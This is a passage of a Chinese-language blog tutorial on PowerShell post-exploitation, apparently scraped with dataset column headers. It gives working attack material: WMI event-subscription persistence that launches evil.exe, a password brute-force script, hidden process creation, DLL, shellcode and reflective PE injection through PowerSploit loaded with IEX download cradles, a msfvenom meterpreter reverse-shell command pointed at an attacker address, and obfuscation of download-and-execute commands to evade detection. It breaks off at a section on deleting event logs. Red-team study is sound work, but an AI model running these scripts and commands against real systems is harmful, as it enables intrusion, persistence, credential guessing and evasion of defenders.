text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# Powershell攻击指南黑客后渗透之道系列——进阶利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：[香山](https://www.anquanke.com/member/122354)
预估稿费：1000RMB
**（本篇文章享受双倍稿费 活动链接请**[ **点击此处**](http://bobao.360.cn/news/detail/4370.html)
**）**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**此为Powershell攻击指南——黑客后渗透之道系列的第二篇进阶利用。此后每两天更新一篇，敬请期待！**
## 传送门
[Powershell攻击指南黑客后渗透之道系列——基础篇](https://www.anquanke.com/post/id/87976)
[Powershell攻击指南黑客后渗透之道系列——实战篇](https://www.anquanke.com/post/id/89362)
# powershell(7)-WMI
## 前言
Wmi无疑是目前Windows攻击中用的最多的工具, 他强大的管理功能为我们带来了极大的便利, 而Powershell可以轻松的操作并利用它,
我们会用较大的篇幅来详细了解powershell与wmi的魅力。那么WMI我们简单介绍一些常识即可,主要还是介绍Powershell利用之。
本节分上下节, 上节主要讲解WMI的相关知识,下节主要讲解powershell利用WMI来进行一些攻击行为等
## WMI简介
WMI 的全称是 Windows Management Instrumentation，即 Windows 管理规范，在 Windows 操作系统中，随着
WMI 技术的引入并在之后随着时间的推移而过时，它作为一项功能强大的技术，从 Windows NT 4.0 和 Windows 95
开始，始终保持其一致性。它出现在所有的 Windows 操作系统中，并由一组强大的工具集合组成，用于管理本地或远程的 Windows 系统。
尽管已被大众所知并且从其创始以来，已经被系统管理员大量使用，但当WMI技术在震网病毒中被发现以后，它开始在安全社区变得非常流行。从那之后， WMI
在攻击中变得日益普及，其作用有执行系统侦察，反病毒和虚拟机检测，代码执行，横向运动，权限持久化以及数据窃取。 随着越来越多的攻击者利用 WMI
进行攻击，他将会是安全维护人员，事件响应人员，取证分析师必须掌握的一项重要技能，并且要明白如何发挥它的优势。
## 基础知识
刚开始接触WMI的朋友可能有点抓狂,我们下面先来看看我们需要知道的一些名词等：
如果你有研究下去的意愿, 还是推荐你阅读微软的文档[msdn.microsoft.com](https://msdn.microsoft.com/zh-cn/library/aa393964\(v=vs.85\).aspx)
1. WMI是微软实现的由分布式管理任务组（DMTF）发布的基于 Web 的企业管理（WBEM）和公共信息模型（CIM）标准。也就是说DMTF发布了WBEM和CIM
2. 使用 WMI: 微软提供了多种使用WMI的方式，我们就直接使用Powershell来管理
3. 查询 WMI: 查询上WMI有专门的WMI 查询语言(WQL), 类似SQL语言
4. WMI是如何得到数据的: 当用户请求WMI对象时，WMI 服务 (Winmgmt) 需要知道如何返回被请求的 WMI 对象。当 WMI 服务填充 WMI 对象时，有两种类型的类实例: 动态对象和持久性对象。动态对象是在特定查询执行时在运行过程中生成的。例如，Win32_Process 对象就是在运行过程中动态生成的。持久性对象存储在位于 `%SystemRoot%System32wbemRepository` 的 CIM 数据库中，它存储着 WMI 类的实例，类的定义和命名空间的定义。
5. 远程传输 WMI 数据: Microsoft 提供了两个协议用于远程传输 WMI 数据: 分布式组件对象模型 (DCOM) 和 Windows 远程管理 (WinRM)。一般来说我们是通过DCOM来进行通信的,也就是我们的135端口的RPC服务。
6. WMI的命名空间: 如果不制定命名空间那么ROOTCIMV2是WMI的默认命名空间, 可以在注册表`HKEY_LOCAL_MACHINESOFTWAREMicrosoftWBEMScripting`进行修改
下面一张Fireeye图介绍了WMI的结构:
## WMI管理工具
下面借用Fireeye对wmi工具的介绍:
### wmic.exe
wmic.exe 是一个与 WMI 进行交互的强大的命令行实用工具。它拥有大量的 WMI
对象的方便记忆的默认别名，但你还可以执行更为复杂的查询。wmic.exe 还可以执行 WMI 方法，攻击者经常用来通过调用 Win32_Process 的
Create 方法来进行横向运动。Wmic.exe 的局限性之一是不能接受调用嵌入的 WMI 对象的方法。在 PowerShell 不可用的情况下,使用
wmic.exe 足够用于执行系统侦察和基本方法的调用。
### wbemtest.exe
wbemtest.exe 是一个功能强大的带有图形界面的 WMI 诊断工具。它能够枚举对象实例、执行查询、注册事件、修改 WMI
对象和类，并且可以在本地或远程去调用方法。它的接口对大多数用户来说不是特别友好，但从攻击者的角度来看，在其他工具不可用时，它完全可以作为替代选项 ——
例如，如果应用程序白名单机制阻止了 wmic.exe 和 powershell.exe，那么 wbemtest.exe 将是一个带有一个不太理想的 UI
（如图 3 所示）但是功能却很强大的实用工具。
### winrm.exe
### VBScript and JScript
这两个脚本语言相信不用我介绍了，同样也可以操作WMI
### wmic, wmis, wmis-pth(Linux)
wmic 是一个简单的 Linux 命令行实用工具，用于执行 WMI 查询。wmis 是 Win32_Process 类的 Create
方法的远程调用命令行包装程序，并且支持使用 NTLM 哈希进行连接远程计算机，因此， wmis 已经被渗透测试人员大量使用。
### Powershell
emmmmm…Powershell就不多说了，看下面吧。
## Powershell—WMI
首先来看看命令吧:
### 在Powershell中使用标准WQL对WMI操作
`SELECT * FROM Win32_Process WHERE Name LIKE "%
WinRM%"`我们可以使用参数`-query`进行查询:上面的命令是查询进程中名字为WinRM的进程`Get-WmiObject -Query
"select * from win32_service where name='WinRM'" | Format-List -Property
PSComputerName, Name, ExitCode, Name, ProcessID, StartMode, State, Status`
### 使用Ps提供的WMI接口
`Get-WmiObject -Namespace ROOTCIMV2 -Class Win32_OperatingSystem`
其中`ROOTCIMV2`是一个默认的命名空间, 类`Win32_OperatingSystem`是获取机器的信息,
这里对应到我们的wmic.exe的命令就是`wmic /NAMESPACE:"rootCIMV2" PATH Win32_OperatingSystem`,
那么还有很多类可以调用，比如：`Get-WmiObject -Class
Win32_Process`，这条命令会获取到所有的本地计算机的进程，我们选择一个进程来查看`Get-WmiObject -Class
Win32_Process | Where-Object {$_.name -like "*explorer*"}`
显示如下:
__GENUS : 2
__CLASS : Win32_Process
__SUPERCLASS : CIM_Process
__DYNASTY : CIM_ManagedSystemElement
__RELPATH : Win32_Process.Handle="2828"
__PROPERTY_COUNT : 45
__DERIVATION : {CIM_Process, CIM_LogicalElement, CIM_ManagedSystemElement}
__SERVER : WIN-0B8BJI54VH7
__NAMESPACE : rootcimv2
__PATH : \WIN-0B8BJI54VH7rootcimv2:Win32_Process.Handle="2828"
Caption : explorer.exe
CommandLine : C:WindowsExplorer.EXE
CreationClassName : Win32_Process
CreationDate : 20171019151524.230494+480
CSCreationClassName : Win32_ComputerSystem
CSName : WIN-0B8BJI54VH7
Description : explorer.exe
ExecutablePath : C:WindowsExplorer.EXE
ExecutionState :
Handle : 2828
HandleCount : 993
InstallDate :
KernelModeTime : 570183655
MaximumWorkingSetSize : 1380
MinimumWorkingSetSize : 200
Name : explorer.exe
OSCreationClassName : Win32_OperatingSystem
OSName : Microsoft Windows 7 专业版 |C:Windows|DeviceHarddisk0Partition1
OtherOperationCount : 446903
OtherTransferCount : 13797646
PageFaults : 762204
PageFileUsage : 50548
ParentProcessId : 1060
PeakPageFileUsage : 72548
PeakVirtualSize : 469929984
PeakWorkingSetSize : 106956
Priority : 8
PrivatePageCount : 51761152
ProcessId : 2828
QuotaNonPagedPoolUsage : 78
QuotaPagedPoolUsage : 659
QuotaPeakNonPagedPoolUsage : 91
QuotaPeakPagedPoolUsage : 820
ReadOperationCount : 22670
ReadTransferCount : 343804812
SessionId : 1
Status :
TerminationDate :
ThreadCount : 32
UserModeTime : 323078071
VirtualSize : 386273280
WindowsVersion : 6.1.7601
WorkingSetSize : 71655424
WriteOperationCount : 1163
WriteTransferCount : 50207671
ProcessName : explorer.exe
Handles : 993
VM : 386273280
WS : 71655424
Path : C:WindowsExplorer.EXE
那么wmi有什么作用, 这里powershell调用即可，比如我们的远程调用:
C:PS>get-wmiobject -query "select * from win32_service where name='WinRM'" -computername server01, server02
ExitCode : 0
Name : WinRM
ProcessId : 1708
StartMode : Auto
State : Running
Status : OK
ExitCode : 0
Name : WinRM
ProcessId : 948
StartMode : Auto
State : Running
Status : OK
那么我们常用的类包括下面的几种:
下面的 WMI 类是在攻击的侦察阶段可以收集数据的子集:
主机/操作系统信息:Win32_OperatingSystem, Win32_ComputerSystem
文件/目录列举: CIM_DataFile
磁盘卷列举: Win32_Volume
注册表操作: StdRegProv
运行进程: Win32_Process
服务列举: Win32_Service
事件日志: Win32_NtLogEvent
登录账户: Win32_LoggedOnUser
共享: Win32_Share
已安装补丁: Win32_QuickFixEngineering
比如这里获取到的补丁信息：
PS C:Usersrootclay> Get-WmiObject -Class Win32_QuickFixEngineering
Source Description HotFixID InstalledBy InstalledOn
------ ----------- -------- ----------- ----------- WIN-0B8BJI... Hotfix KB2534111 2017/9/6 0:00:00
WIN-0B8BJI... Update KB2999226 WIN-0B8BJI54VH7r... 2017/10/25 0:00:00
WIN-0B8BJI... Update KB976902 WIN-0B8BJI54VH7A... 2010/11/21 0:00:00
### WMI触发器
WMI用处可以说是非常的多，但是我们不能一一列举，我们就用一个wmi在攻防中用的最神化的一个功能，无文件持久化控制的例子来举一个实际例子:
那么想要了解到wmi的这项功能，我们先来看看wmi事件的基础:
#### 事件触发条件
1. 事件筛选器
事件筛选器是什么呢？事件筛选器描述事件并且执行WQL事件查询。
2. 事件消费者
事件消费者是什么呢？事件消费是一个派生自 __EventConsumer 系统类的类，它表示了在事件触发时的动作。我们常用的消费类有下面两个：
1. ActiveScriptEventConsumer – 执行嵌入的 VBScript 或 JScript 脚本 payload
2. CommandLineEventConsumer – 执行一个命令行程序
3. 消费者绑定筛选器
消费者绑定筛选器？消费者绑定筛选器就是将筛选器绑定到消费者的注册机制。
#### 实例代码
下面我们分析一个实例代码：其中第5个变量为事件筛选器、第6个变量为事件消费者、最后一个就是绑定事件筛选器和事件消费者，也就是通俗理解的执行。这个脚本能达到什么效果呢？事件筛选器在系统启动后的
200 和 320 秒之间被当作一个触发器。在事件被触发时事件消费者会使用`CommandLineEventConsumer`执行已指定好的可执行文件。
$filterName='BotFilter82'
$consumerName='BotConsumer23'
$exePath='C:WindowsSystem32evil.exe'
$Query=”SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance
ISA 'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320”
$WMIEventFilter=Set-WmiInstance -Class__EventFilter -NameSpace ”rootsubscription” -Arguments @
{Name=$filterName;EventNameSpace=”root
cimv2”;QueryLanguage=”WQL”;Query=$Query}
-ErrorActionStop
$WMIEventConsumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace” root
subscription” -Arguments @=$consumerName;ExecutablePa
th=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance-Class__FilterToConsumerBinding -Namespace ”rootsubscription” -Arguments
@{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
同时我们可以通过Powersploit的[代码](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Persistence/Persistence.psm1)即可，代码会在本目录下生成类似于上面的Powershell代码，直接运行即可。
#### 生命周期
对于我们安装的wmi事件，如果你是使用普通用户权限启动的那么他的生命周期就是主进程的生命周期，如果使用的是管理员的权限运行的，那么就能够达到持久化控制的效果。
# powershell(8)-win32API
Powershell还有一大强大之处就是能调用Win32-Api(废话)，这给我们带来了极大的便利，也就是API能实现的功能当我们在渗透的过程中我们能轻而易举的实现，而我们只需要在对方机器执行一条命令即可。
下面我们通过几个脚本来介绍我们如何通过Powershell来调用Win32Api，从而达到学习的目的，也能够为大家的脚本工具增添xx….:)
## Runas
runas.exe是一个Windows自带的程序，一条简单的命令`runas /user:corpbob
cmd`可以用域内另外一个用户的身份开一个shell，当然需要你输入密码
这次我们直接通过Powershell来实现runas，但是我们就不介绍他直接的用处了，那么runas我们能想到的利用场景还有什么呢？我们可以通过输入密码对用户的密码进行爆破。
function Runas-Brute {
<#
.SYNOPSIS
Parameters:
-UserList Specifiy usernameList.
-PasswordList Specify passwordList.
-Domain Specify domain. Defaults to localhost if not specified.
-LogonType dwLogonFlags:
0x00000001 --> LOGON_WITH_PROFILE
Log on, then load the user profile in the HKEY_USERS registry
key. The function returns after the profile is loaded.
0x00000002 --> LOGON_NETCREDENTIALS_ONLY (= /netonly)
Log on, but use the specified credentials on the network only.
The new process uses the same token as the caller, but the
system creates a new logon session within LSA, and the process
uses the specified credentials as the default credentials.
-Binary Full path of the module to be executed.
-Args Arguments to pass to the module, e.g. "/c calc.exe". Defaults
to $null if not specified.
.EXAMPLE
Start cmd with a local account
C:PS> Invoke-Runas -UserList SomeAccountList -PasswordList SomePassList -Binary C:WindowsSystem32cmd.exe -LogonType 0x1
.EXAMPLE
Start cmd with remote credentials. Equivalent to "/netonly" in runas.
C:PS> Invoke-Runas -UserList SomeAccountList -PasswordList SomePassList -Domain SomeDomain -Binary C:WindowsSystem32cmd.exe -LogonType 0x2
#>
param (
[Parameter(Mandatory = $True)]
[string]$UserList,
[Parameter(Mandatory = $True)]
[string]$PasswordList,
[Parameter(Mandatory = $False)]
[string]$Domain=".",
[Parameter(Mandatory = $True)]
[string]$Binary,
[Parameter(Mandatory = $False)]
[string]$Args=$null,
[Parameter(Mandatory = $True)]
[int][ValidateSet(1,2)]
[string]$LogonType
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001
$StartupInfo.wShowWindow = 0x0001
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo)
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# 创建一个在当前目录的shell
$GetCurrentPath = (Get-Item -Path "." -Verbose).FullName
echo "`n[>] Calling Advapi32::CreateProcessWithLogonW"
$usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
$passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
if (!$usernames) {
$usernames = $UserList
Write-Verbose "UserList file does not exist."
Write-Verbose $usernames
}
if (!$passwords) {
$passwords = $PasswordList
Write-Verbose "PasswordList file does not exist."
Write-Verbose $passwords
}
:UsernameLoop foreach ($username in $usernames)
{
foreach ($Password in $Passwords)
{
$CallResult = [Advapi32]::CreateProcessWithLogonW(
$User, $Domain, $Password, $LogonType, $Binary,
$Args, 0x04000000, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
if (!$CallResult) {
echo "==> $((New-Object System.ComponentModel.Win32Exception([int][Kernel32]::GetLastError())).Message)"
echo "Test: " , $User , $password
} else {
echo "`n[+] Success, process details:"
Get-Process -Id $ProcessInfo.dwProcessId
echo "Test: " , $User , $password
break UsernameLoop
}
}
}
}
这是整个脚本的代码，那么下面就是运行的结果，我们只需要指定好他的字典文件即可
## NetSessionEnum
下面一个简单的介绍NetSessionEnum。首先我们需要了解的是，在真实的测试过程中我们需要知道域内的组织架构，域内的活动机器等等。那么可以提供的工具也有很多，比如：PVEFindADUser.exe
psloggedon.exe netsess.exe
hunter.exe等等，那么我们还是选择powershell作为我们的最佳利用工具，其实上面讲到的工具都是调用了NetSessionEnum
API，那么我们Powershell也能够非常方便的调用此API，而且最重要的一点，我们并不需要域管的权限，下面我们来看一下这里如何实现。
function Invoke-NetSessionEnum {
<#
.SYNOPSIS
使用NetSessionEnum去列出目前的活动
.EXAMPLE
PS> Invoke-NetSessionEnum -HostName SomeHostName
#>
param (
[Parameter(Mandatory = $True)]
[string]$HostName
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)]
public struct SESSION_INFO_10
{
[MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost;
[MarshalAs(UnmanagedType.LPWStr)]public string DomainUser;
public uint SessionTime;
public uint IdleTime;
}
public static class Netapi32
{
[DllImport("Netapi32.dll", SetLastError=true)]
public static extern int NetSessionEnum(
[In,MarshalAs(UnmanagedType.LPWStr)] string ServerName,
[In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName,
[In,MarshalAs(UnmanagedType.LPWStr)] string UserName,
Int32 Level,
out IntPtr bufptr,
int prefmaxlen,
ref Int32 entriesread,
ref Int32 totalentries,
ref Int32 resume_handle);
[DllImport("Netapi32.dll", SetLastError=true)]
public static extern int NetApiBufferFree(
IntPtr Buffer);
}
"@
# 创建 SessionInfo10 结构
$SessionInfo10 = New-Object SESSION_INFO_10
$SessionInfo10StructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10) # Grab size to loop bufptr
$SessionInfo10 = $SessionInfo10.GetType()
# NetSessionEnum 的参数
$OutBuffPtr = [IntPtr]::Zero
$EntriesRead = $TotalEntries = $ResumeHandle = 0
$CallResult = [Netapi32]::NetSessionEnum($HostName, "", "", 10, [ref]$OutBuffPtr, -1, [ref]$EntriesRead, [ref]$TotalEntries, [ref]$ResumeHandle)
if ($CallResult -ne 0){
echo "something wrong!`nError Code: $CallResult"
}
else {
if ([System.IntPtr]::Size -eq 4) {
echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X8}" -f $OutBuffPtr.ToInt32())"
}
else {
echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X16}" -f $OutBuffPtr.ToInt64())"
}
echo "Result-set contains $EntriesRead session(s)!"
# Change buffer offset to int
$BufferOffset = $OutBuffPtr.ToInt64()
# Loop buffer entries and cast pointers as SessionInfo10
for ($Count = 0; ($Count -lt $EntriesRead); $Count++){
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$Info = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr,[type]$SessionInfo10)
$Info
$BufferOffset = $BufferOffset + $SessionInfo10StructSize
}
echo "`nCalling NetApiBufferFree, no memleaks here!"
[Netapi32]::NetApiBufferFree($OutBuffPtr) |Out-Null
}
}
## CreateProcess
最后我们在看一个我们用的最多的API例子：进程创建，我们需要远程创建一个没有窗口而去token由我们指定的进程，至于为什么要这么干大家可以自己领悟。那么CreateProcess
API就能满足我们的需求，我们来看一个简单的例子:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
public static class Kernel32
{
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
}
"@
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001 # STARTF_USESHOWWINDOW
$StartupInfo.wShowWindow = 0x0000 # SW_HIDE
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# SECURITY_ATTRIBUTES Struct (Process & Thread)
$SecAttr = New-Object SECURITY_ATTRIBUTES
$SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)
# CreateProcess In CurrentDirectory
$GetCurrentPath = (Get-Item -Path "." -Verbose).FullName
# Call CreateProcess
[Kernel32]::CreateProcess("C:WindowsSystem32cmd.exe", "/c calc.exe", [ref] $SecAttr, [ref] $SecAttr, $false,
0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null
其中窗口问题是在`$StartupInfo.wShowWindow = 0x0000 # SW_HIDE`这里解决的，下面是测试效果：
可以看到计算器是在cmd进程下面的，那么还有一个需求是使用什么Token来打开一个进程，我们使用API：CreateProcessAsUserW那么大家可以去研究一下如何完成使用特定token打开进程。
# powershell(9)-Dll注入&shellcode注入&exe注入
## 理解DLL
首先我们需要知道我们在启动一个程序的时候并没有把所有的需要用到的数据或者文件运行起来，而是只运行了关键部分，那么当我们需要调用到某一功能时再通过DLL来动态链接，不需要时就可以卸载，使得程序不显得臃肿。
## DLL注入是什么
DLL注入就是将代码插入/注入到正在运行的进程中的过程。我们注入的代码是动态链接库（DLL）的形式。为什么可以做到这一点？因为DLL（如UNIX中的共享库）是在运行时根据需要来进行加载。在这个项目中，我将只使用DLL，但是实际上还可以使用其他各种形式（任何PE文件、shellcode/assembly等）来“注入”代码，这些在恶意软件中非常常见。
当然你需要有对应的权限才能进行对某些进程的注入，一般来说，常用技术是注入“lsass.exe”进程以获取密码哈希值。恶意软件也广泛使用代码注入技术，例如，运行shellcode、运行PE文件或将DLL加载到另一个进程的内存中以隐藏自身，等等。
## DLL注入场景
我们来简单的分析一下我们可能遇到的场景：比如我们目前有一台Win2008的机器，目前有两个用户登陆到机器上分别用户A和B，比如我们A用户想看到B用户的桌面是不能实现的（WIndows中的Session隔离机制），我们想要进入到B用户桌面可以通过Dll注入到B用户的Explore进程下，拥有这个进程下的Token使用createremotethread创建线程，去打开桌面。这就是我们DLl注入的利用场景，但是需要注意的是我们只能从高权限往低权限切（好像是废话…），说到高往低权限切换，就简单的提一下UAC…
## UAC
简单来说，这就是个Windows的保护机制，直观感受就是当你打开某些程序的时候会有一个弹框让你确认是否给权限，就像这样那么绕过的方法也是有很多，那么大多都是通过下面3点来做的:
1. 使用wusa.exe
2. Dll劫持
3. IFileOperation-COM对象具体细节大家可自行百度，这里只做提及，最后推荐注入explorer.exe这样的进程，只要操作系统在运行这个进程能稳定的让我们注入。
我们再来看看MSF提供的UAC绕过:用这些基本也就够了，那么还有其他大家可以去Github自行发现。
## Powershell-DLL注入
那么对于DLL注入技术不是我们的重点，我们主要是利用Powershell使用已有的工具进行DLL注入，那么Powersploit中的Invoke-DllInjection已经完成对于DLL注入的利用，我们先来看看利用的过程:
1. 利用IEX下载脚本下载脚本通过下面的语句即可下载：`IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1")`此时，代码已经被运行。
2. 通过MSF生成恶意DLL
3. 通过Ps加载DLL完成利用首先我们查看一个我们当前用户能注入的进程，我们选用explorer进程来进行注入下面是执行成功的结果最后我们可以看到msf返回一个会话：
## Powershell-ShellCode注入
上面的DLL注入是比较主流的利用方式，但是我们还可以直接注入我们的shellcode进进程，同样也能在powersploit找到对于的代码:Invoke-Shellcode，我们先来看看利用过程：
1. 利用IEX下载脚本`IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1")`
2. 通过MSF生成恶意代码之后通过Web下载的方式来导入shellcode`IEX(New-Object Net.WebClient).DownloadString("http://172.16.50.1/test")`
3. 通过Ps加载shellcode完成利用执行代码`Invoke-Shellcode -Shellcode ($buf)`就可以执行代码了，但这样的方式是注入到当前的powershell进程，我们可以通过-processid参数指定我们要注入的进程，但同样需要注意的是用户是否有权限对对应的进程进行注入，`Invoke-Shellcode -Shellcode ($buf) -ProcessID 2344`，还有一点需要注意的是这个脚本是无法验证32位系统还是64位系统，所以需要大家自己去验证之后再进行注入。
## Powershell-EXE注入
下面介绍的这个脚本是我非常喜欢使用的脚本：[反射型PE或者Dll注入](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1)，这个脚本能够直接注入我们的EXE文件当然Dll也可以，在我们实际的渗透测试过程中帮助非常大。
这里我们来简单操作一下这个过程:首先生成msf马`msfvenom -p windows/x64/meterpreter_reverse_tcp -e -i
3 LHOST=172.16.50.1 LPORT=2333 -f exe -o ~/shell.exe`之后再通过下面的注入
$PEBytes = [IO.File]::ReadAllBytes('.Desktoppowershellshell.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
可以看到我们这里有关于ASLR的警告，这个ASLR就是是一种针对缓冲区溢出的安全保护技术，通过对堆、栈、共享库映射等线性区布局的随机化。那么我们这里只需要加上-ForceASLR参数即可。
可以看到我们直接就能得到这个会话。
# powershell(10)-混淆
>
> Powershell的混淆目前已经使用的越来越多，国内外也有了较多的研究，在今年的BH大会上也有对应的议题，关注点是反混淆，那么里面的一些姿势很值得我们学习，我们提供一些混淆实例，来让大家对于PS的混淆做到一个初步了解，也为防御混淆提供一些思路。
## 实例
在混淆之前，先看看powershell编码执行的方式。
`-EC,-EncodedCommand,-EncodedComman,-EncodedComma,-EncodedComm,......,Enc,-En,E`那么这些参数都可以让代码编码执行，可见我们的混淆的选择是非常多的，而防御起来就越难。
我们在攻击时经常会远程下载代码脚本执行，这里基于这样的一条标准的下载文件命令来进行变形混淆。`Invoke-Expression (New-Object
System.Net.WebClient).DownloadString("http://127.0.0.1/powershell")`
简单处理我们刚才的命令：`Invoke-Expression (New-Object
System.Net.WebClient).DownloadString("http://127.0.0.1/powershell")`
1. 去掉System关键字`Invoke-Expression (New-Object Net.WebClient).DownloadString("http://127.0.0.1/powershell")`
2. 使用字符串连接+号连接`Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://127.0.0.1/powershell")`
3. 使用Invoke方法`Invoke-Expression (New-Object Net.WebClient).(“DownloadString”).Invoke(‘h’+’ttp://127.0.0.1/powershell’)ds.Invoke(‘h’+’ttp://127.0.0.1/powershell’)`
4. 变量替代`IEX $test=New-Object Net.WebClient;$test.DownloadString('h'+'ttp://127.0.0.1/powershell')`
5. 关键字使用单双引号引起来`Invoke-Expression (New-Object Net.WebClient)."DownloadString"('h'+'ttp://127.0.0.1/powershell')`
6. 转义符号
Invoke-Expression (New-Object Net.WebClient)."D`o`wn`l`oad`Str`in`g"('h'+'ttp://7ell.me/power')
7. $re= ")'1/1.0.0.721//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
IEX ($re[-1..-($re.Length)] -Join '') | IEX
8. 编码执行
$command = "Write-Host ‘Hello World!’"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand
IEX
我们使用的代码很多都使用Invoke-Expression/IEX命令，
Invoke-Expression/IEX命令是很常用的一个命令， 运行一个以字符串形式提供的PowerShell表达式。
这里也先看看代替IEX的各种执行方式
1. `&(GAL I*X)` : 通过别名的方式来进行编码
2. `Command I*e-E*` : 通过command的方式来进行编码
3. `$ExecutionContext.InvokeCommand.GetCmdlets('I*e-E*')`使用环境变量等等
4. …
## 工具
> 那么讲了这么多，其实只是给大家讲了一下有这种编码方式，对于蓝队来说需要更深入的掌握，当让red
> team需要掌握的就更多了，下面给大家介绍几款混淆和编码框架供大家学习。
### Invoke-Obfuscation
下载地址：<https://github.com/danielbohannon/Invoke-Obfuscation>
这个工具呢已经有dalao在freebuf上写过相关是使用方法—-<http://www.freebuf.com/sectool/136328.html>
简单介绍一下这个框架就是我们的powershell混淆框架，首先是启动
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
启动之后是这样的：
之后输入你的代码，然后可以选择你需要的编码
我们来测试得到的结果：
还有更多的使用技巧可以查看工具的官方文档进行学习。
### Empire
Empire是一个类似于Metasploit的渗透工具，可以从他的宣传语: _Building an Empire with PowerShell_
看出Empire对于powershell的利用下了很大的功夫，集成了大量的攻击Payload可供选择，而且可以自己来选择编码，并且对不同的平台都能够支持，具体可以参看[官方文档](https://www.powershellempire.com/)，[Freebuf](http://www.freebuf.com/articles/web/76892.html)也有前人总结过一些用法。用法与MSF类似，这里就不过多介绍了。
# powershell(11)-Powershell与事件日志
在渗透的过程中，我们难免遇到有删除日志的需求，比如我们做了某些操作是必须要进行日志的删除，同时作为系统管理员也是必须掌握日志的操作与备份等等才能在遇到事件后的第一时间定位攻击和修复方案的提出。我们下面来看看Powershell在Windows事件日志中的表现。
### CmdLet
**Powershell Version 2.0**
